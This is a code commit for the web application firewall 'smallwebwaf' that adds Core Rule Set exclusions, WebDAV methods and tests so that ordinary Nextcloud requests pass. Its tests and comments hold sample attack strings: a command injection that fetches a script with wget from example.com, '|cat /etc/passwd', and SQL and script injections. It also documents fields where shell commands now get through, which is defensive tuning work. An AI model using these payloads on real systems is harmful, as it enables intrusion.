Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)

Adds nextcloud.conf, the fourteenth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK, and
the body of a PUT there, an uploaded file, is not read. The cookie
nc_username, and the fields that carry a search, a name, a file name or a
folder, skip the four rules that read them as commands or system files.
Comments, a share's note, a status and a document's text also skip the rules
that refused ordinary sentences, and the document the two that refused a
shell code block. Requests recorded from Nextcloud 35.0.2, its web pages, sync
client 3.16.7 and the OCS API pass at the defaults and while bodies are read.

Model: opus-5-5

README.md

@@ -581,7 +581,7 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
   headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
   front of a code forge, bodies carry what people write and publish, which the
   rules take for attacks.
-- `smallwebwaf` changes the Core Rule Set in thirteen ways so that ordinary
+- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
   requests get through to the apps listed below. No setting undoes the changes;
   "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
 - These apps work out of the box at the default settings, and their recorded
@@ -599,6 +599,9 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
       posts and deliveries from other servers get through.
     - Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
       addresses and encrypted file names get through.
+    - Nextcloud: its sync client gets through. On Nextcloud's own paths, its
+      WebDAV methods, searches, file names, account names, comments and
+      documents do too.
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
   fields or paths.
 - Rule files are plain text, one rule to a line, edited by hand and read again

SPEC.md

@@ -81,7 +81,7 @@ to them.
       of bans is full.
     - `internal/rules`: reads the rule files at start and again when they
       change, and tells which rules a request matches.
-    - `internal/coreruleset`: the Core Rule Set, with the thirteen changes
+    - `internal/coreruleset`: the Core Rule Set, with the fourteen changes
       listed under "Attack detection", as Coraza directives.
     - `internal/lookup`: looks clients up through GeoJS or in the lookup
       database.
@@ -676,7 +676,7 @@ files, the limits and the bans still apply to the client that sends it.
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
   Coraza directives. An exclusion switches one rule off for some fields or paths
   only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
-  holds an app's own exclusions. The eighth to thirteenth changes below hold
+  holds an app's own exclusions. The eighth to fourteenth changes below hold
   those of the apps they name.
     - `discriminator` loads the file after `smallwebwaf`'s own setup rules and
       before the Core Rule Set's rules. The Core Rule Set loads its own
@@ -723,7 +723,7 @@ files, the limits and the bans still apply to the client that sends it.
     scanner from an ordinary client. In front of a code forge, registry and git
     clients get `404` and `401` by design, hundreds of times a minute.
 
-`smallwebwaf` changes the Core Rule Set 4.25.0 in thirteen ways. Without them,
+`smallwebwaf` changes the Core Rule Set 4.25.0 in fourteen ways. Without them,
 it would refuse ordinary requests to these apps:
 
 - gitea;
@@ -731,20 +731,24 @@ it would refuse ordinary requests to these apps:
 - Drupal;
 - MediaWiki;
 - Mastodon;
-- Vaultwarden.
+- Vaultwarden;
+- Nextcloud.
 
 The changes hold in front of every app, and no setting undoes them:
 
 1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
    and `OPTIONS`. APIs, container image pushes and package uploads use them.
-   Other methods stay refused.
+   Other methods stay refused, except on Nextcloud's WebDAV paths, where the
+   fourteenth change allows the WebDAV methods Nextcloud uses.
 2. The request header `Expect` is allowed, since curl and git send it before
    some large uploads. `Content-Encoding` is allowed on a request whose body the
    Core Rule Set does not read, which by default is every request. git
    compresses a fetch request over 1 KiB and says so in that header. On a body
    the Core Rule Set does read, the header stays refused, since a compressed
-   body cannot be inspected. The other headers the Core Rule Set refuses, such
+   body cannot be inspected. While `SWW_WAF_BODY_LIMIT` is set, it stays refused
-   as `Proxy`, stay refused.
+   too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV paths, whose
+   body the fourteenth change leaves unread. The other headers the Core Rule Set
+   refuses, such as `Proxy`, stay refused.
 3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
    `localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
    and tea, which gitea registers for OAuth sign-in, ask to be sent back to
@@ -764,10 +768,10 @@ The changes hold in front of every app, and no setting undoes them:
     catch reaches the app, such as the command `|cat /etc/passwd`. Path
     traversal, SQL and script injection, and PHP, Java and Node.js code are
     still refused there. Other parameters keep all three rules. The eighth to
-    thirteenth changes switch some of them off for some fields on the paths of
+    fourteenth changes switch some of them off for some fields on the paths of
-    gitea, WordPress, Drupal, MediaWiki, Mastodon and Vaultwarden. An app that
+    the apps they name. An app that uses one of these parameters as a file on
-    uses one of these parameters as a file on the server, or passes it to a
+    the server, or passes it to a shell, must check the value itself. A rule
-    shell, must check the value itself. A rule file can refuse it instead.
+    file can refuse it instead.
 
 5. Two cookies are left out, and `Referer` keeps fewer rules:
     - The Core Rule Set reads the request without the `gitea_flash` and
@@ -1270,6 +1274,84 @@ The changes hold in front of every app, and no setting undoes them:
     Elsewhere these fields keep every rule. An app other than Vaultwarden that
     serves one of these paths must check these fields itself.
 
+14. On Nextcloud's paths, some fields skip the rules that refused ordinary
+    Nextcloud requests there, and its WebDAV methods are allowed.
+    `internal/coreruleset/nextcloud.conf` lists each rule and the request it
+    refused.
+
+    The sync client and the Files app use WebDAV on these paths:
+    - `/remote.php/dav/`;
+    - `/public.php/dav/`;
+    - `/remote.php/webdav/`;
+    - `/public.php/webdav/`.
+
+    These methods are allowed there, besides those of the first change:
+    - `PROPFIND` and `PROPPATCH`;
+    - `MKCOL`;
+    - `COPY` and `MOVE`;
+    - `REPORT` and `SEARCH`;
+    - `LOCK` and `UNLOCK`, with which the desktop client locks a file.
+
+    A file the Files app or the sync client uploads with `PUT` to these paths is
+    a file, not form data. The Core Rule Set does not read the body of a `PUT`
+    there. So a JSON file holding `python3 -m pytest` uploads, and so does an
+    XML file holding `ls -la /var/log`. The headers, path and query of the `PUT`
+    are still checked.
+
+    The cookie `nc_username` holds the name of the account signed in. It skips
+    the lists of system files and command names (930120, 932120, 932250, 932260)
+    on every path, since every request sends it.
+
+    These fields skip the same four rules, in the query or the body:
+    - On `/login`, for signing in:
+        - `user` and `password`;
+        - `redirect_url`, the page to go to after signing in.
+    - `dir`, the folder shown, on the paths under `/apps/files/`.
+    - The file names on a public share:
+        - `file` on the paths under `/apps/files_sharing/publicpreview/`;
+        - `path` and `files` on `/s/<token>/download`.
+    - On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
+        - the searches `search` and `term`, and `from`, the page searched from;
+        - the names `groupid`, `userid`, `displayName` and `groups[]`;
+        - `value`, a new value of an account's details;
+        - `path`, `label` and `shareWith`, for a share.
+
+    These fields of a JSON body skip the same four rules:
+    - On the OCS API, each field of the list above.
+    - `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
+      the theming settings.
+    - `filePath` on `/apps/text/session/<id>/save`, the document the editor
+      saves.
+    - `name` on `/remote.php/dav/systemtags/`, a new tag.
+
+    Some fields hold sentences a person writes:
+    - `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
+      API and on each share under it;
+    - `message`, an account's status, on
+      `apps/user_status/api/v1/user_status/message/custom` of the OCS API;
+    - `message` in the JSON body that posts a comment to
+      `/remote.php/dav/comments/files/<id>`;
+    - the XML body of a `PROPPATCH` that edits a comment;
+    - `autosaveContent` on `/apps/text/session/<id>/save`, the text of a
+      document.
+
+    These fields skip the same four rules. They also skip the rules that refused
+    ordinary sentences there, such as `It is fixed; diff attached` (932125,
+    932230, 932235, 932380). A share's note and a status skip them in the query
+    or the body. A document's text skips two more, which refused a shell script
+    in a code block (932160, 932370). So a shell command such as
+    `; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL
+    injection, path traversal and script injection are still refused there.
+
+    The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
+    skips the four rules.
+
+    These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
+    applies to a JSON field when the query has a parameter of that name, such as
+    `json.message`. Nextcloud's pages are matched at the site root and under
+    `/index.php/`. Elsewhere these fields keep every rule. An app other than
+    Nextcloud that serves one of these paths must check these fields itself.
+
 The parameter and cookie names in these changes are matched without regard to
 case, as Coraza matches them.
 

internal/coreruleset/coreruleset.go

@@ -1,6 +1,6 @@
 // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
 // method, the URL with its query and the headers of a request, and on its
-// body while SWW_WAF_BODY_LIMIT is set, with the thirteen changes sww
+// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
 // makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
 // "Attack detection" under "Settings" in SPEC.md describes them. It reads no
 // response.
@@ -35,8 +35,8 @@ import (
 // SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
 // giteaExclusions for the third, wordpressExclusions for the fourth,
 // drupalExclusions for the fifth, mediawikiExclusions for the sixth,
-// mastodonExclusions for the seventh, and vaultwardenExclusions for the
+// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
-// eighth.
+// and nextcloudExclusions for the ninth.
 // Each rule sww adds has an id from 900000 to 900999, the ids the
 // Core Rule Set keeps for the rules that set it up, which
 // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -99,7 +99,10 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
 # So does the twelfth.
 %s
 
-# And the thirteenth.
+# So does the thirteenth.
+%s
+
+# And the fourteenth.
 %s
 
 # The sixth: only the rules for requests are loaded, and no response is
@@ -228,6 +231,14 @@ var mastodonExclusions string
 //go:embed vaultwarden.conf
 var vaultwardenExclusions string
 
+// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
+// own requests that skip the rules that refused them there, the WebDAV
+// methods it uses, its cookie of the account's name, and its uploads,
+// whose bodies are not read, as Coraza directives.
+//
+//go:embed nextcloud.conf
+var nextcloudExclusions string
+
 // cookiesNotRead are the cookies the Core Rule Set reads a request
 // without, the rest of the fifth change.
 //
@@ -341,7 +352,7 @@ type CoreRuleSet struct {
 	bodyLimit int64
 }
 
-// New returns the Core Rule Set with the thirteen changes, at params'
+// New returns the Core Rule Set with the fourteen changes, at params'
 // paranoia level, without the rules it switches off, reading request
 // bodies up to params' limit, and with params' exclusions file loaded
 // before the Core Rule Set's rules. An exclusions file is an error if it
@@ -370,7 +381,8 @@ func New(params Params) (*CoreRuleSet, error) {
 
 	text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
 		giteaExclusions, wordpressExclusions, drupalExclusions,
-		mediawikiExclusions, mastodonExclusions, vaultwardenExclusions)
+		mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
+		nextcloudExclusions)
 
 	if len(params.DisabledRules) > 0 {
 		ids := make([]string, len(params.DisabledRules))

internal/coreruleset/coreruleset_test.go

@@ -202,7 +202,7 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
 }
 
 // wantChange checks that crs lets through passes, a request one of the
-// thirteen changes is for, and still finds result in refused, a request like
+// fourteen changes is for, and still finds result in refused, a request like
 // it that the change is not for.
 func wantChange(
 	t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
@@ -605,13 +605,19 @@ func giteaRequests(t *testing.T) []request {
 	return requests
 }
 
-// An SQL injection and a script injection, as a query value. Every app's
+// An SQL injection, a script injection and a shell command after a ";", as
-// tests check that its fields still refuse them.
+// query values. Every app's tests check that its fields still refuse the
+// first two.
 const (
 	sqlInjection     = "1'%20OR%20'1'='1"
 	scriptInjection  = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
+	commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
 )
 
+// passwordField is the form data field password, ending in "=", in which
+// several apps take a password.
+const passwordField = "password="
+
 // hardValues are words that name commands and files, as a query or form
 // value. An app's tests check that its fields let them through.
 //
@@ -620,10 +626,7 @@ var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
 
 // wantRecordedRequestsPass checks that none of the recorded ordinary
 // requests in the file name in testdata is refused, at the defaults and
-// while bodies are read. A request with neither a body nor a Content-Type
+// while bodies are read. Each request runs as its own parallel subtest.
-// header is checked only at the defaults: with neither, the set that reads
-// bodies has nothing more to check. Each request runs as its own parallel
-// subtest.
 func wantRecordedRequestsPass(t *testing.T, name string) {
 	t.Helper()
 
@@ -642,15 +645,6 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
 				t.Errorf("%s %s refused: %+v", r.method, r.target, got)
 			}
 
-			typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
-				name, _, _ := strings.Cut(header, ":")
-
-				return strings.EqualFold(name, "Content-Type")
-			})
-			if recorded.Body == "" && !typed {
-				return
-			}
-
 			got, _ = inspectBody(t, bodies, r, recorded.Body)
 			if got.Score >= threshold {
 				t.Errorf("%s %s %.200q refused while bodies are read: %+v",

internal/coreruleset/mastodon_test.go

@@ -151,7 +151,7 @@ var mastodonFormFields = []mastodonBodyField{
 		"form_redirect[current_password]=",
 	},
 	{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
-	{http.MethodPost, mastodonSignUp, "password="},
+	{http.MethodPost, mastodonSignUp, passwordField},
 	{http.MethodPost, mastodonSignUp, "reason="},
 }
 
@@ -287,30 +287,31 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 	}
 }
 
-// mastodonCommandAttack is a shell command that only 932230 and 932235
-// refuse on the fields that skip the four rules.
-const mastodonCommandAttack = "; wget http://example.com/x.sh"
-
 func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
 	t.Parallel()
 
 	crs := atDefaults(t)
-	attack := url.QueryEscape(mastodonCommandAttack)
 
 	for _, target := range mastodonQueryFields {
-		if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
+		got := inspect(t, crs, get(target+commandInjection))
-			t.Errorf("%s%s let through: %+v", target, attack, got)
+		if got.Score < mastodonThreshold {
+			t.Errorf("%s%s let through: %+v", target, commandInjection, got)
 		}
 	}
 
 	for _, sent := range mastodonFormFields {
-		if mastodonForm(t, sent, attack) < mastodonThreshold {
+		if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
 			t.Errorf("%v let through", sent)
 		}
 	}
 
+	attack, err := url.QueryUnescape(commandInjection)
+	if err != nil {
+		t.Fatal(err)
+	}
+
 	for _, sent := range mastodonJSONFields {
-		if mastodonJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
+		if mastodonJSON(t, sent, attack) < mastodonThreshold {
 			t.Errorf("%v let through", sent)
 		}
 	}
@@ -497,7 +498,7 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
 	}
 
 	for _, value := range slices.Concat(
-		refused, mastodonAttacks, []string{url.QueryEscape(mastodonCommandAttack)},
+		refused, mastodonAttacks, []string{commandInjection},
 	) {
 		if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
 			t.Errorf("username %s let through", value)
@@ -548,8 +549,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
 
 		// The address keeps 932250 and the rules that refuse attacks.
 		for _, value := range slices.Concat(
-			[]string{"ls%20-la"}, mastodonAttacks,
+			[]string{"ls%20-la"}, mastodonAttacks, []string{commandInjection},
-			[]string{url.QueryEscape(mastodonCommandAttack)},
 		) {
 			if mastodonForm(t, sent, value) < mastodonThreshold {
 				t.Errorf("%v with %s let through", sent, value)

internal/coreruleset/mediawiki_test.go

@@ -167,7 +167,7 @@ var mediawikiBodyFields = []mediawikiBodyField{
 	{mediawikiAPI, "lgname="},
 	{mediawikiAPI, "lgpassword="},
 	{mediawikiAPI, "username="},
-	{mediawikiAPI, "password="},
+	{mediawikiAPI, passwordField},
 }
 
 // mediawikiReasonFields are the reasons on the admin pages, which skip only

internal/coreruleset/nextcloud.conf

@@ -0,0 +1,248 @@
+# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
+# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
+# sends a search, a name, a file name, a folder, a comment, a note, a status or
+# a document's text. Each exclusion runs with the request, before the rules it
+# switches off, so this file is loaded before the Core Rule Set's rules. Each
+# comment names a request a rule refused. An exclusion on a field of a JSON body
+# applies only when the query has no parameter of that name, so it matters only
+# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
+# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
+#
+# Four rules read a search or a name as a command or a system file:
+#   930120: .htaccess
+#   932120: powershell
+#   932250: ls -la
+#   932260: python3
+# Each exclusion below removes these four from its fields.
+#
+# A comment, a share's note and an account's status hold sentences a person
+# writes. Four more rules refused ordinary sentences there:
+#   932125: It is fixed; diff attached
+#   932230: Run python3 or powershell; ls -la shows .htaccess
+#   932235: We need more time; find the old notes first
+#   932380: Tested on Windows; powershell works
+# The text of a document holds such sentences too, and code blocks. Two more
+# rules refused a shell script in a code block:
+#   932160: #!/bin/bash
+#   932370: ```bash, which starts the code block
+# These fields skip the rules that refused them. So a shell command such as
+# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
+# injection, path traversal and script injection are still refused there.
+
+# The sync client and the Files app use these WebDAV methods besides those
+# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
+# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
+#   PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
+#   MKCOL: making a folder, and starting a chunked upload
+#   COPY, MOVE: copying, moving and renaming, and ending a chunked upload
+#   REPORT: listing favourites and comments
+#   SEARCH: the Files app's search
+#   LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
+SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
+    "id:900100,phase:1,pass,nolog,\
+    setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
+
+# Nextcloud keeps the name of the account signed in in the cookie nc_username,
+# which every request sends, on every path. Each request of the account
+# python3 was refused.
+SecAction "id:900101,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
+    ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
+    ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
+    ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
+
+# Signing in, in the query or the body:
+#   user, password: user=python3&password=Example-pass-python3
+#   redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
+SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
+    "id:900102,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
+    ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
+    ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
+    ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
+
+# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
+SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
+    "id:900103,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:dir,\
+    ctl:ruleRemoveTargetById=932120;ARGS:dir,\
+    ctl:ruleRemoveTargetById=932250;ARGS:dir,\
+    ctl:ruleRemoveTargetById=932260;ARGS:dir"
+
+# The file names on a public share's page. A preview names its file in file:
+# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
+SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
+    "id:900104,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:file,\
+    ctl:ruleRemoveTargetById=932120;ARGS:file,\
+    ctl:ruleRemoveTargetById=932250;ARGS:file,\
+    ctl:ruleRemoveTargetById=932260;ARGS:file"
+
+# A download names its folder in path and its files in files:
+# /s/<token>/download?path=/&files=powershell%20profile.ps1
+SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
+    "id:900105,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
+    ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
+    ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
+    ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
+
+# The OCS API's searches and names, in the query, a form data body or a JSON
+# body:
+#   search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
+#   cloud/users, cloud/groups, cloud/groups/details and the sharees
+#   term, from: /ocs/v2.php/search/providers/files/search?term=python3
+#   groupid, userid, displayName: adding the group "Python3 admins" and the
+#   account python3, displayName=Ls+-la+Example
+#   groups[], or groups in JSON: the groups of a new account,
+#   groups[]=Python3+admins
+#   value: changing an account's name, address or headline, value=Powershell+Lane
+#   path, label, shareWith: sharing the folder "/ls -la output" with the
+#   label "python3 link"
+SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
+    "id:900106,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
+    ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
+    ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
+    ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
+
+SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
+    "id:900107,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
+        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
+
+# A share's note, in the query, a form data body or a JSON body, on a new
+# share or a changed one: {"note":"It is fixed; diff attached"}.
+SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
+    "id:900108,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:note,\
+    ctl:ruleRemoveTargetById=932120;ARGS:note,\
+    ctl:ruleRemoveTargetById=932125;ARGS:note,\
+    ctl:ruleRemoveTargetById=932230;ARGS:note,\
+    ctl:ruleRemoveTargetById=932235;ARGS:note,\
+    ctl:ruleRemoveTargetById=932250;ARGS:note,\
+    ctl:ruleRemoveTargetById=932260;ARGS:note,\
+    ctl:ruleRemoveTargetById=932380;ARGS:note"
+
+SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
+    "id:900109,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:json.note "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
+        ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
+        ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
+        ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
+        ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
+        ctl:ruleRemoveTargetById=932380;ARGS:json.note"
+
+# An account's status, in the query, a form data body or a JSON body:
+# {"message":"Tested on Windows; powershell works"}.
+SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
+    "id:900110,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:message,\
+    ctl:ruleRemoveTargetById=932120;ARGS:message,\
+    ctl:ruleRemoveTargetById=932125;ARGS:message,\
+    ctl:ruleRemoveTargetById=932230;ARGS:message,\
+    ctl:ruleRemoveTargetById=932235;ARGS:message,\
+    ctl:ruleRemoveTargetById=932250;ARGS:message,\
+    ctl:ruleRemoveTargetById=932260;ARGS:message,\
+    ctl:ruleRemoveTargetById=932380;ARGS:message"
+
+SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
+    "id:900111,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:json.message "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932380;ARGS:json.message"
+
+# The name and slogan in the theming admin settings, in the JSON field value:
+# {"setting":"slogan","value":"ls -la and .htaccess"}.
+SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
+    "id:900112,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:json.value "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
+        ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.value"
+
+# The Text editor saves a document, such as a folder's Readme.md, with its
+# path in the JSON field filePath and its text in autosaveContent. The text
+# skips the rules for sentences and code blocks too.
+SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
+    "id:900113,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
+        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
+        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
+        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
+        ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
+        ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
+        ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
+        ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
+        ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
+        ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
+
+# A comment on a file, in the JSON field message of a new comment, and in the
+# XML body of an edited one. It skips the rules for sentences too. An edited
+# comment's XML holds nothing else a person writes.
+SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
+    "id:900114,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:json.message "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
+        ctl:ruleRemoveTargetById=932380;ARGS:json.message"
+
+SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
+    "id:900115,phase:1,pass,nolog,chain"
+    SecRule REQUEST_METHOD "@streq PROPPATCH" \
+        "ctl:ruleRemoveTargetById=930120;XML:/*,\
+        ctl:ruleRemoveTargetById=932120;XML:/*,\
+        ctl:ruleRemoveTargetById=932125;XML:/*,\
+        ctl:ruleRemoveTargetById=932230;XML:/*,\
+        ctl:ruleRemoveTargetById=932235;XML:/*,\
+        ctl:ruleRemoveTargetById=932250;XML:/*,\
+        ctl:ruleRemoveTargetById=932260;XML:/*,\
+        ctl:ruleRemoveTargetById=932380;XML:/*"
+
+# The Files app's search sends its words in the XML body of a SEARCH request,
+# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
+SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
+    "id:900116,phase:1,pass,nolog,chain"
+    SecRule REQUEST_METHOD "@streq SEARCH" \
+        "ctl:ruleRemoveTargetById=930120;XML:/*,\
+        ctl:ruleRemoveTargetById=932120;XML:/*,\
+        ctl:ruleRemoveTargetById=932250;XML:/*,\
+        ctl:ruleRemoveTargetById=932260;XML:/*"
+
+# The name of a new tag, in the JSON field name: {"name": "python3"}.
